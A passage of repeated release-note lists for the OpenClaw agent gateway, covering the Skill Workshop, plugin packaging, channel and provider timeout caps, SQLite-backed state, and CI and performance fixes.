• Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (#88096, #88105, #88183, #88231)
• Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.
• Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.
• Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (#79072, #79173) Thanks @zeus1959.
• Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (#82326, #87469, #87796, #88107, #88117)
• Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.
• Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, keep drafts local while typing, trace first-output latency, and expose calmer composer controls. (#88772, #88825, #88998) Thanks @vincentkoc.
• Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (#88480, #88512, #88851, #88860)
• iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (#88794, #88797)
• Release, CI, Docker, E2E, plugin install, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, status polling, and rollback snapshots so failures report bounded proof instead of stalling.

Changes

• Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks @shakkernerd.
• Skills: let the skill_workshop agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks @shakkernerd.
• Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks @shakkernerd.
• Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks @shakkernerd.
• Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the skill_workshop agent tool. Thanks @shakkernerd.
• Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.
• Plugins: externalize Tokenjuice as the official @openclaw/tokenjuice plugin with npm and ClawHub publish metadata.
• Plugins: externalize the GitHub Copilot agent runtime as the official @openclaw/copilot plugin with npm and ClawHub publish metadata.
• iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (#88096, #88105, #88231)
• iOS: support native iPad display layouts.
• Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (#87469)
• Workboard: wire task-backed board runs and show task comments in the edit modal.
• Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (#88043)
• Code mode: add MCP API files and docs for code-mode integrations.
• Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (#78748) Thanks @stevenepalmer.
• Control UI: add calmer chat composer controls, local draft typing state, and first-output latency instrumentation for active chat entry. (#88772, #88998) Thanks @vincentkoc.
• Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (#82326, #88117)
• Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (#88794)
• Providers: add MiniMax M3 model support. (#88860)
• Doctor: add disk space health checks and stabilize post-upgrade JSON probes.
• Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (#88797)
• Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.

Fixes

• Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.
• Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.
• Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.
• Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.
• Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, prevent aborted app-server turn handles from lingering, migrate legacy OpenAI Codex lastGood auth state, and preserve workspace/session metadata through ACP runtime refactors. (#88405, #88724, #88730) Thanks @vincentkoc.
• Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks @shakkernerd.
• Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when skill_workshop is available. Thanks @shakkernerd.
• Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.
• Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill apiKey SecretRefs cannot abort embedded or channel turns. (#79072, #79173) Thanks @zeus1959.
• CLI: avoid live catalog validation during openclaw agents add, so adding a secondary agent no longer depends on provider catalog availability. (#76284, #88314) Thanks @zhangguiping-xydt.
• CLI: keep plugins list --json on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.
• CLI/desktop: bridge WSL clipboard operations through the shell and recognize manual-update launchd jobs. (#88764)
• Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.
• Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.
• Plugins: preserve npm plugin roots after blocked installs, skip plugin-local openclaw peer symlinks during rollback snapshots, relink those peers after restore, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (#77237, #88807)
• Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (#88285)
• Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.
• Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, harden envelope metadata sanitization, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (#66339, #85931) Thanks @openperf and @amittell.
• Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.
• Providers: resolve Google defaults to google-generative-ai, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (#88480, #88512)
• Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.
• Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.
• Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (#88129, #88136, #88141, #88162, #88182)
• Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.
• Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (#88183)
• Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.
• Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.
• Release/CI/E2E: bound release candidate reads, beta smoke REST calls, plugin npm verification commands, changelog restore, cross-OS process groups, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Telegram credential timeouts, Control UI i18n and CLI startup metadata generation, Vitest routing, and mainline test flakes. (#88127, #88137, #88155, #88160)
• Release/CI/E2E: keep Kitchen Sink live plugin MCP probes resolving source-checkout workspace packages and align the live gauntlet with current Kitchen Sink diagnostics.
• Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.
• Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.
• Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.
• Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.
• Agents: accept hidden sessions_send body aliases before validation while keeping the model-facing message schema canonical. (#88229) Thanks @zhangguiping-xydt.
• Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, keep drafts local while typing, guard composer rerenders, honor Chromium executable overrides, and detect system Chromium for E2E. (#88998) Thanks @vincentkoc.
• Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, preserve colon-prefixed slash commands in mention parsing, decode Nostr npub allowlists correctly, and suppress raw provider errors during channel delivery. (#87896)
• Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (#88288)
• Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from sessions.list, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.
• OpenAI/TTS: handle speed directives for OpenAI TTS voices. (#74089)
• CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.
• CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.
• CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.
• CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.
• CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.
• CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.
• CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.
• CI/tooling: route script edits through conventional owner tests when matching test/scripts or src/scripts coverage already exists.
• CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.
• Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.
• Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.
• Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.
• Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.
• Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.
• Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.
• Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.

• Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
• Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (#88096, #88105, #88183, #88231)
• Gateway and channel setup add Tailscale Serve service-name binding, Communication notification settings, safer agents add, and more reliable progress drafts across Discord, Telegram, Slack, Matrix, and Teams. (#74715, #83115, #88314, #88749) Thanks @VladyslavLevchuk and @zhangguiping-xydt.
• Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.
• Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.
• Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (#79072, #79173) Thanks @zeus1959.
• Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (#82326, #87469, #87796, #88107, #88117)
• Skill Workshop now has a fuller Control UI flow with proposal lists, today actions, revision handoff, searchable file previews, review states, locale coverage, and reusable session routing.
• Chat and Control UI startup paths keep sends alive through history loading, stream deltas incrementally, skip markdown work while streaming, and expose calmer composer controls. (#88772, #88825)
• Provider coverage and model metadata now include MiniMax M3, account OAuth endpoints, Google/Vertex catalog fixes, OpenRouter SQLite model caching, Copilot Claude 1M capabilities, Foundry reasoning alignment, and OpenAI response replay guards. (#88480, #88512, #88851, #88860)
• iMessage monitor state, inbound queues, and plugin install ledgers moved toward SQLite-backed state so restarts and local monitors recover with less duplicate filesystem scanning. (#88794, #88797)
• Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.

Changes

• Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks @shakkernerd.
• Skills: let the skill_workshop agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks @shakkernerd.
• Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks @shakkernerd.
• Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks @shakkernerd.
• Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the skill_workshop agent tool. Thanks @shakkernerd.
• Skill Workshop: add the Control UI navigation, styled dashboard, proposal today view, revision dialog, file preview modal, searchable preview files, reusable session handoff, and localized strings.
• Plugins: externalize Tokenjuice as the official @openclaw/tokenjuice plugin with npm and ClawHub publish metadata.
• Plugins: externalize the GitHub Copilot agent runtime as the official @openclaw/copilot plugin with npm and ClawHub publish metadata.
• iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (#88096, #88105, #88231)
• iOS: support native iPad display layouts.
• Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (#87469)
• Workboard: wire task-backed board runs and show task comments in the edit modal.
• Gateway: support Tailscale Serve service-name bindings for gateway exposure and status.
• Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (#88043)
• Code mode: add MCP API files and docs for code-mode integrations.
• Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (#78748) Thanks @stevenepalmer.
• Control UI: add calmer chat composer controls for active chat entry. (#88772)
• Control UI: expose the Communication Notifications settings tab so notification controls are reachable from settings. (#74715) Thanks @VladyslavLevchuk.
• Plugin SDK/channels: add typed presentation command actions so native slash-command and callback controls can round-trip through capable channel plugins without being reinterpreted. (#88721)
• Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (#82326, #88117)
• Plugins: persist the plugin install index in SQLite so installed package lookup survives reloads with less filesystem scanning. (#88794)
• Providers: add MiniMax M3 model support. (#88860)
• Doctor: add disk space health checks and stabilize post-upgrade JSON probes.
• Channels: store inbound queues in SQLite and migrate iMessage monitor state to SQLite-backed tracking. (#88797)
• Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.

Fixes

• Agents/TUI: keep local custom provider runs from loading plugin runtime and auth alias metadata when plugins are disabled.
• Agents/TUI: restore in-flight TUI run switch-back behavior, keep no-policy native hook fallback available, guard vanished workspaces, and keep lightweight isolated subagents lightweight.
• Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.
• Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.
• Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, and preserve workspace/session metadata through ACP runtime refactors. (#88405, #88724, #88730)
• Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks @shakkernerd.
• Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when skill_workshop is available. Thanks @shakkernerd.
• Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.
• Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill apiKey SecretRefs cannot abort embedded or channel turns. (#79072, #79173) Thanks @zeus1959.
• CLI: avoid live catalog validation during openclaw agents add, so adding a secondary agent no longer depends on provider catalog availability. (#76284, #88314) Thanks @zhangguiping-xydt.
• CLI: keep plugins list --json on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.
• CLI/desktop: bridge WSL clipboard operations through the shell and recognize manual-update launchd jobs. (#88764)
• Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.
• Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.
• Plugins: preserve npm plugin roots after blocked installs, isolate cached tool runtime siblings, and isolate web-provider factory failures so one bad plugin does not poison sibling runtime paths. (#77237, #88807)
• Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (#88285)
• Cron: keep update delivery validation scoped, harden restart state, and retire MCP runtimes on isolated cron cleanup.
• Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (#66339, #85931) Thanks @openperf.
• Media: allow validated TXT, JSON, YAML, and YML host-local document sends while rejecting binary-disguised text files. (#79658) Thanks @simplyclever914.
• Voice calls: migrate legacy call logs through doctor into plugin-state SQLite while keeping malformed or incomplete sources retryable. (#88731)
• Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.
• Providers: resolve Google defaults to google-generative-ai, register Vertex static catalog rows, align Foundry reasoning metadata, skip DeepSeek V4 thinking params on Foundry fallback, use MiniMax account OAuth endpoints, preserve Copilot Claude 1M capabilities, suppress disabled Ollama reasoning output, keep OpenAI stop-finished tool calls, and avoid replay ids when the Responses store is disabled. (#88480, #88512)
• Providers/OpenAI: avoid orphan Responses message-id replay and sanitize raw HTTP 401 provider errors before they reach user-facing logs.
• Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.
• Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.
• Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (#88129, #88136, #88141, #88162, #88182)
• Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.
• Channels: recover failed progress-draft starts and refresh just-started progress drafts across Discord, Telegram, Slack, Matrix, and Teams instead of losing early progress updates. (#83115, #88749)
• Discord: bound REST entity cache growth and keep recovered tool warning output mention-inert.
• Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (#88183)
• Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.
• Gateway/security: rate-limit bootstrap-token verification, guard direct session display names, and add Tailscale Serve service-name support without weakening gateway exposure checks.
• Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.
• Plugins/install: add npm README coverage for channel providers and pin WhatsApp media decoding to Baileys' supported peer range so external WhatsApp installs do not fail npm peer resolution.
• Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (#88127, #88137, #88155, #88160)
• Release/CI/E2E: refresh pinned Node Docker image digests and keep pairing challenge assertions aligned with fenced approval commands. (#84981, #84988) Thanks @LibraHo.
• Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.
• Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.
• Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.
• Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.
• Agents: accept hidden sessions_send body aliases before validation while keeping the model-facing message schema canonical. (#88229) Thanks @zhangguiping-xydt.
• Chat/UI: preserve startup chat sends during history loading, unblock the initial Control UI chat send, stream chat deltas incrementally, skip markdown parsing while streaming, honor Chromium executable overrides, and detect system Chromium for E2E.
• Channels: preserve long Feishu streaming replies, send visible fallbacks when accepted Feishu turns produce no final reply, tolerate iMessage self-chat timestamp skew, decode Nostr npub allowlists correctly, and suppress raw provider errors during channel delivery. (#87896)
• Config/status/doctor: skip unresolved shell references in state-dir dotenv files, resolve gateway auth secrets during deep status audits, respect explicit PI runtime policy, report runtime tool-schema errors, and keep post-upgrade JSON stable. (#88288)
• Gateway/session state: list commands from the Gateway plugin registry, harden MCP loopback tool schemas, hide phantom agent-store rows from sessions.list, make task persistence failures explicit, and carry session UUIDs on interactive dispatch events.
• OpenAI/TTS: handle speed directives for OpenAI TTS voices. (#74089)
• CI/Crabbox: keep default runner capacity on the Azure credit-backed on-demand D4 lane with the Azure SSH port and a Git-independent full check job, so broad validation avoids low-priority spot quota stalls, hydrate port mismatches, non-Git hydrated workspaces, and stale AWS region hints.
• CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.
• CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.
• CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.
• CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.
• CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.
• CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.
• CI/tooling: route script edits through conventional owner tests when matching test/scripts or src/scripts coverage already exists.
• CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.
• Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.
• Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.
• Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.
• Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.
• Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.
• Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.
• Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.

Highlights

• Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
• Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (#88096, #88105, #88183, #88231)
• Gateway and channel setup add Tailscale Serve service-name binding, Communication notification settings, safer agents add, and more reliable progress drafts across Discord, Telegram, Slack, Matrix, and Teams. (#74715, #83115, #88314, #88749) Thanks @VladyslavLevchuk and @zhangguiping-xydt.
• Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.
• Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.
• Skills and plugin loading now handle stale disabled snapshots and loader failures more clearly, so channel turns avoid disabled SecretRefs and operators get better recovery guidance. (#79072, #79173) Thanks @zeus1959.
• Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (#82326, #87469, #87796, #88107, #88117)
• Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.

Changes

• Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks @shakkernerd.
• Skills: let the skill_workshop agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks @shakkernerd.
• Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks @shakkernerd.
• Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks @shakkernerd.
• Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the skill_workshop agent tool. Thanks @shakkernerd.
• Plugins: externalize Tokenjuice as the official @openclaw/tokenjuice plugin with npm and ClawHub publish metadata.
• Plugins: externalize the GitHub Copilot agent runtime as the official @openclaw/copilot plugin with npm and ClawHub publish metadata.
• iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (#88096, #88105, #88231)
• Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (#87469)
• Gateway: support Tailscale Serve service-name bindings for gateway exposure and status.
• Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (#88043)
• Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (#78748) Thanks @stevenepalmer.
• Control UI: expose the Communication Notifications settings tab so notification controls are reachable from settings. (#74715) Thanks @VladyslavLevchuk.
• Plugin SDK/channels: add typed presentation command actions so native slash-command and callback controls can round-trip through capable channel plugins without being reinterpreted. (#88721)
• Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (#82326, #88117)
• Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.

Fixes

• Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.
• Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.
• Agents/Codex: stream Codex app-server final-answer partials to live reply previews, preserve ACP metadata in SQLite, prefer real tool results over synthetic repair output, and preserve workspace/session metadata through ACP runtime refactors. (#88405, #88724, #88730)
• Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks @shakkernerd.
• Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when skill_workshop is available. Thanks @shakkernerd.
• Agents/auth: write auth profiles atomically, add force re-login recovery, preserve workspaces during state-only uninstall, and compact before oversized turns so recovery paths avoid partial state.
• Skills: skip disabled skill env overrides from stale persisted snapshots so disabled skill apiKey SecretRefs cannot abort embedded or channel turns. (#79072, #79173) Thanks @zeus1959.
• CLI: avoid live catalog validation during openclaw agents add, so adding a secondary agent no longer depends on provider catalog availability. (#76284, #88314) Thanks @zhangguiping-xydt.
• CLI: keep plugins list --json on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.
• Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.
• Plugins: clarify plugin loader failure guidance so missing or incompatible plugin packages point operators at the right repair path.
• Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (#88285)
• Memory: serialize QMD update/embed writes per store, preserve phase signals on read errors, and rewrite generated transcript paths on rollover so memory/search state survives concurrent gateway and CLI activity. (#66339, #85931) Thanks @openperf.
• Media: allow validated TXT, JSON, YAML, and YML host-local document sends while rejecting binary-disguised text files. (#79658) Thanks @simplyclever914.
• Voice calls: migrate legacy call logs through doctor into plugin-state SQLite while keeping malformed or incomplete sources retryable. (#88731)
• Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.
• Providers/OpenAI: avoid orphan Responses message-id replay and sanitize raw HTTP 401 provider errors before they reach user-facing logs.
• Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.
• Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.
• Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (#88129, #88136, #88141, #88162, #88182)
• Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.
• Channels: recover failed progress-draft starts and refresh just-started progress drafts across Discord, Telegram, Slack, Matrix, and Teams instead of losing early progress updates. (#83115, #88749)
• Discord: bound REST entity cache growth and keep recovered tool warning output mention-inert.
• Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (#88183)
• Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.
• Gateway/security: rate-limit bootstrap-token verification, guard direct session display names, and add Tailscale Serve service-name support without weakening gateway exposure checks.
• Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.
• Plugins/install: add npm README coverage for channel providers and pin WhatsApp media decoding to Baileys' supported peer range so external WhatsApp installs do not fail npm peer resolution.
